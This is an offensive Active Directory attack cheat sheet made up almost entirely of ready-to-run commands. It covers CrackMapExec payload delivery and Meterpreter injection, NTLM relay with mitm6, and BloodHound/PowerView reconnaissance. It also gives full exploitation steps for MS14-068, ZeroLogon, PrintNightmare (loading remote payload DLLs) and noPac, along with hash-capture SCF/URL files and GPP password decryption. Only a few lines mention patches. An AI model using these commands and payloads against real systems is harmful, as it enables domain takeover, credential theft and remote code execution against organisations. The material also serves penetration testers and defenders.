Active Directory Attacks

Best Cheat sheet:

Iredteam

Tools

```powershell # use the latest release, CME is now a binary packaged will all its dependencies root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip

# execute cme (smb, winrm, mssql, ...) root@payload$ cme smb -L root@payload$ cme smb -M name_module -o VAR=DATA root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz root@payload$ cme mimikatz --server http --server-port 80 ```

Mitm6

bash git clone https://github.com/fox-it/mitm6.git && cd mitm6 pip install . mitm6 -d lab.local ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i # -wh: Server hosting WPAD file (Attacker’s IP) # -t: Target (You cannot relay credentials to the same device that you’re spoofing) # -i: open an interactive shell ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access

ADRecon

powershell .\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser

Active Directory Assessment and Privilege Escalation Script

powershell powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
Ping Castle

powershell pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession pingcastle.exe --healthcheck --server domain.local pingcastle.exe --graph --server domain.local pingcastle.exe --scanner scanner_name --server domain.local available scanners are:aclcheck,antivirus,computerversion,foreignusers,laps_bitlocker,localadmin,nullsession,nullsession-trust,oxidbindings,remote,share,smb,smb3querynetwork,spooler,startup,zerologon,computers,users
Kerbrute

powershell ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
Rubeus

powershell Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] Rubeus.exe klist [/luid:LOGINID] Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
AutomatedLab powershell New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD' Install-Lab Show-LabDeploymentSummary

Active Directory Recon

Using BloodHound

Use the correct collector * AzureHound for Azure Active Directory * SharpHound for local Active Directory

use AzureHound powershell # require: Install-Module -name Az -AllowClobber # require: Install-Module -name AzureADPreview -AllowClobber Connect-AzureAD Connect-AzAccount . .\AzureHound.ps1 Invoke-AzureHound
use BloodHound ```powershell # run the collector on the machine using SharpHound.exe # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe .\SharpHound.exe -c all -d active.htb -SearchForest .\SharpHound.exe --EncryptZip --ZipFilename export.zip .\SharpHound.exe -c all,GPOLocalGroup .\SharpHound.exe -c all --LdapUsername --LdapPassword --JSONFolder .\SharpHound.exe -c all -d active.htb --LdapUsername --LdapPassword --domaincontroller 10.10.10.100 .\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23 .\SharpHound.exe -c all,GPOLocalGroup --searchforest

# or run the collector on the machine using Powershell # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1 # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public Invoke-BloodHound -CollectionMethod All -LDAPUser -LDAPPass -OutputDirectory

# or remotely via BloodHound Python # https://github.com/fox-it/BloodHound.py pip install bloodhound bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all * Collect more data for certificates exploitation using Certipyps1 certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound ```

Then import the zip/json files into the Neo4J database and query them.

root@payload$ apt install bloodhound 

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j

root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j

You can add some custom queries like : * Bloodhound-Custom-Queries from @hausec * BloodHoundQueries from CompassSecurity * BloodHound Custom Queries from Exegol - @ShutdownRepo * Certipy BloodHound Custom Queries from ly4k

Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json.

Using PowerView

Get Current Domain: Get-NetDomain
Enum Other Domains: Get-NetDomain -Domain <DomainName>
Get Domain SID: Get-DomainSID
Get Domain Policy: ```powershell Get-DomainPolicy

#Will show us the policy configurations of the Domain about system access or kerberos (Get-DomainPolicy)."system access" (Get-DomainPolicy)."kerberos policy" - **Get Domain Controlers:**powershell Get-NetDomainController Get-NetDomainController -Domain - **Enumerate Domain Users:**powershell Get-NetUser Get-NetUser -SamAccountName Get-NetUser | select cn Get-UserProperty

#Check last password change Get-UserProperty -Properties pwdlastset

#Get a spesific "string" on a user's attribute Find-UserField -SearchField Description -SearchTerm "wtver"

#Enumerate user logged on a machine Get-NetLoggedon -ComputerName

#Enumerate Session Information for a machine Get-NetSession -ComputerName

#Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName - **Enum Domain Computers:**powershell Get-NetComputer -FullData Get-DomainGroup

#Enumerate Live machines Get-NetComputer -Ping - **Enum Groups and Group Members:**powershell Get-NetGroupMember -GroupName "" -Domain

#Enumerate the members of a specified group of the domain Get-DomainGroup -Identity | Select-Object -ExpandProperty Member

#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName - **Enumerate Shares**powershell #Enumerate Domain Shares Find-DomainShare

#Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess - **Enum Group Policies:**powershell Get-NetGPO

# Shows active Policy on specified machine Get-NetGPO -ComputerName Get-NetGPOGroup

#Get users that are part of a Machine's local Admin group Find-GPOComputerAdmin -ComputerName - **Enum OUs:**powershell Get-NetOU -FullData Get-NetGPO -GPOname - **Enum ACLs:**powershell # Returns the ACLs associated with the specified account Get-ObjectAcl -SamAccountName -ResolveGUIDs Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose

#Search for interesting ACEs Invoke-ACLScanner -ResolveGUIDs

#Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share" - **Enum Domain Trust:**powershell Get-NetDomainTrust Get-NetDomainTrust -Domain - **Enum Forest Trust:**powershell Get-NetForestDomain Get-NetForestDomain Forest

#Domains of Forest Enumeration Get-NetForestDomain Get-NetForestDomain Forest

#Map the Trust of the Forest Get-NetForestTrust Get-NetDomainTrust -Forest - **User Hunting:**powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose

#Find local admins on all machines of the domain: Invoke-EnumerateLocalAdmin -Verbose

#Find computers were a Domain Admin OR a spesified user has a session Invoke-UserHunter Invoke-UserHunter -GroupName "RDPUsers" Invoke-UserHunter -Stealth

#Confirming admin access: Invoke-UserHunter -CheckAccess ``` :heavy_exclamation_mark: Priv Esc to Domain Admin with User Hunting: \ I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->
Profit!

PowerView 3.0 Tricks

Using AD Module

Get Current Domain: Get-ADDomain
Enum Other Domains: Get-ADDomain -Identity <Domain>
Get Domain SID: Get-DomainSID
Get Domain Controlers:

powershell Get-ADDomainController Get-ADDomainController -Identity <DomainName>

Enumerate Domain Users: ```powershell Get-ADUser -Filter * -Identity -Properties *

#Get a spesific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description - **Enum Domain Computers:**powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter * - **Enum Domain Trust:**powershell Get-ADTrust -Filter * Get-ADTrust -Identity - **Enum Forest Trust:**powershell Get-ADForest Get-ADForest -Identity

#Domains of Forest Enumeration (Get-ADForest).Domains - **Enum Local AppLocker Effective Policy:**powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections ```

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)

# loc
wmic useraccount get name,sid
Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
Guest          S-1-5-21-3415849876-833628785-5197346142-501   
Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
Guest          S-1-5-21-297520375-2634728305-5197346142-501   
krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
lambda         S-1-5-21-297520375-2634728305-5197346142-1110 

# powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502

Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068

Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

Then use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"

:warning: If the clock is skewed use clock-skew.nse script from nmap

Linux> $ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16" 
Windows> net time /domain /set

Mitigations

Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780

From CVE to SYSTEM shell on DC

Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in Windows - Privilege Escalation

ZeroLogon

CVE-2020-1472

White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055

Exploit steps from the white paper

Spoofing the client credential
Disabling signing and sealing
Spoofing a call
Changing a computer's AD password to null
From password change to domain admin
:warning: reset the computer's AD password in a proper way to avoid any Deny of Service
cve-2020-1472-exploit.py - Python script from dirkjanm ```powershell # Check (https://github.com/SecuraBV/CVE-2020-1472) proxychains python3 zerologon_tester.py DC01 172.16.1.5

$ git clone https://github.com/dirkjanm/CVE-2020-1472.git

# Activate a virtual env to install impacket $ python3 -m venv venv $ source venv/bin/activate $ pip3 install .

# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py) proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5

# Find the old NT hash of the DC proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'

# Restore password from secretsdump # secretsdump will automatically dump the plaintext machine password (hex encoded) # when dumping the local registry secrets on the newest version python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3 deactivate ```

nccfsas - .NET binary for Cobalt Strike's execute-assembly ```powershell git clone https://github.com/nccgroup/nccfsas # Check execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local

# Resetting the machine account password execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset

# Testing from a non Domain-joined machine execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch

# Now reset the password back ```

Mimikatz - 2.2.0 20200917 Post-Zerologon ```powershell privilege::debug # Check for the CVE lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

# Exploit the CVE and set the computer account's password to "" lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

# Execute dcsync to extract some hashes lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm

# Pass The Hash with the extracted Domain Admin hash sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN

# Use IP address instead of FQDN to force NTLM with Windows APIs # Reset password to Waza1234/Waza1234/Waza1234/ # https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584 lsadump::postzerologon /target:10.10.10.10 /account:DC01$ ```

CrackMapExec - only check powershell crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon

PrintNightmare

CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\. The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements: * Spooler Service enabled (Mandatory) * Server with patches < June 2021 * DC with Pre Windows 2000 Compatibility group * Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1 * Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0

Detect the vulnerability: * Impacket - rpcdump ps1 python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR' Protocol: [MS-RPRN]: Print System Remote Protocol * It Was All A Dream ps1 git clone https://github.com/byt3bl33d3r/ItWasAllADream cd ItWasAllADream && poetry install && poetry shell itwasalladream -u user -p Password123 -d domain 10.10.10.10/24 docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10

Trigger the exploit:

NOTE: The payload can be hosted on Impacket SMB server since PR #1109: python3 ./smbserver.py share /tmp/smb/ or using Invoke-BuildAnonymousSMBServer : Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable

SharpNightmare powershell # require a modified Impacket: https://github.com/cube0x0/impacket python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll' python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll' ## LPE SharpPrintNightmare.exe C:\addCube.dll ## RCE using existing context SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20' ## RCE using runas /netonly SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
Invoke-Nightmare powershell ## LPE only (PS1 + DLL) Import-Module .\cve-2021-1675.ps1 Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
Mimikatz v2.2.0-20210709+ powershell ## LPE misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll ## RCE misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
PrintNightmare - @outflanknl powershell PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]

Debug informations

Error	Message	Debug
0x5	`rpc_s_access_denied`	Permissions on the file in the SMB share
0x525	`ERROR_NO_SUCH_USER`	The specified account does not exist.
0x180	unknown error code	Share is not SMB2

samAccountName spoofing

During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a TGS to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid TGS for the domain controller.

Requirements

MachineAccountQuota > 0

Check for exploitation

Check the MachineAccountQuota of the account powershell crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ StandIn.exe --object ms-DS-MachineAccountQuota=*
Check if the DC is vulnerable powershell crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac

Exploitation

Create a computer account ```powershell impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

powermad@windows> . .\Powermad.ps1 powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword 1. Clear the controlled machine account `servicePrincipalName` attributeps1 impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

powershell@windows> . .\Powerview.ps1 powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose 2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`ps1

https://github.com/SecureAuthCorp/impacket/pull/1224

impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose 3. Request a TGT for the controlled machine accountps1 impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap 4. Reset the controlled machine account sAMAccountName to its old valueps1 impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose 5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained beforeps1

https://github.com/SecureAuthCorp/impacket/pull/1202

impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT] `` 6. DCSync:KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`

Automated exploitation:

noPac - @cube0x0 powershell noPac.exe scan -domain htb.local -user user -pass 'password123' noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
sam_the_admin - @WazeHell ps1 $ python3 sam_the_admin.py "caltech/alice.cassie:Lee@tPass" -dc-ip 192.168.1.110 -shell [*] Selected Target dc.caltech.white [*] Total Domain Admins 11 [*] will try to impersonat gaylene.dreddy [*] Current ms-DS-MachineAccountQuota = 10 [*] Adding Computer Account "SAMTHEADMIN-11$" [*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL [*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL. [*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white [*] SAMTHEADMIN-11$ sAMAccountName == dc [*] Saving ticket in dc.ccache [*] Resting the machine account to SAMTHEADMIN-11$ [*] Restored SAMTHEADMIN-11$ sAMAccountName to original value [*] Using TGT from cache [*] Impersonating gaylene.dreddy [*] Requesting S4U2self [*] Saving ticket in gaylene.dreddy.ccache [!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32>whoami nt authority\system
Pachine - @ly4k powershell usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local] [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip] [domain/]username[:password] $ python3 pachine.py -dc-host dc.predator.local -scan 'predator.local/john:Passw0rd!' $ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -impersonate administrator 'predator.local/john:Passw0rd!' $ export KRB5CCNAME=$PWD/administrator@predator.local.ccache $ impacket-psexec -k -no-pass 'predator.local/administrator@dc.predator.local'

Mitigations: * KB5007247 - Windows Server 2012 R2 * KB5008601 - Windows Server 2016 * KB5008602 - Windows Server 2019 * KB5007205 - Windows Server 2022 * KB5008102 * KB5008380

Open Shares

Some shares can be accessible without authentication, explore them to find some juicy files

smbmap powershell smbmap -H 10.10.10.10 # null session smbmap -H 10.10.10.10 -R # recursive listing smbmap -H 10.10.10.10 -u invaliduser # guest smb session smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
pth-smbclient from path-toolkit powershell pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$ ls # list files cd # move inside a folder get # download files put # replace a file
smbclient from Impacket powershell smbclient -I 10.10.10.100 -L ACTIVE -N -U "" Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk use Sharename # select a Sharename cd Folder # move inside a folder ls # list files
smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers ```powershell smbclient -U username //10.0.0.1/SYSVOL smbclient //10.0.0.1/Share

# Download a folder recursively smb: > mask "" smb: > recurse ON smb: > prompt OFF smb: > lcd '/path/to/go/' smb: > mget * ```

Theses attacks can be automated with Farmer.exe and Crop.exe

# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute

# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec

SCF Files

Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0

[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop

Using crackmapexec:

crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP

URL Files

This attack also works with .url files and responder -I eth0 -v.

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1

Windows Library Files

Windows Library Files (.library-ms)

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Windows Search Connectors Files

Windows Search Connectors (.searchConnector-ms)

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\folder.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
    </simpleLocation>
</searchConnectorDescription>

Passwords in SYSVOL & Group Policy Preferences

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

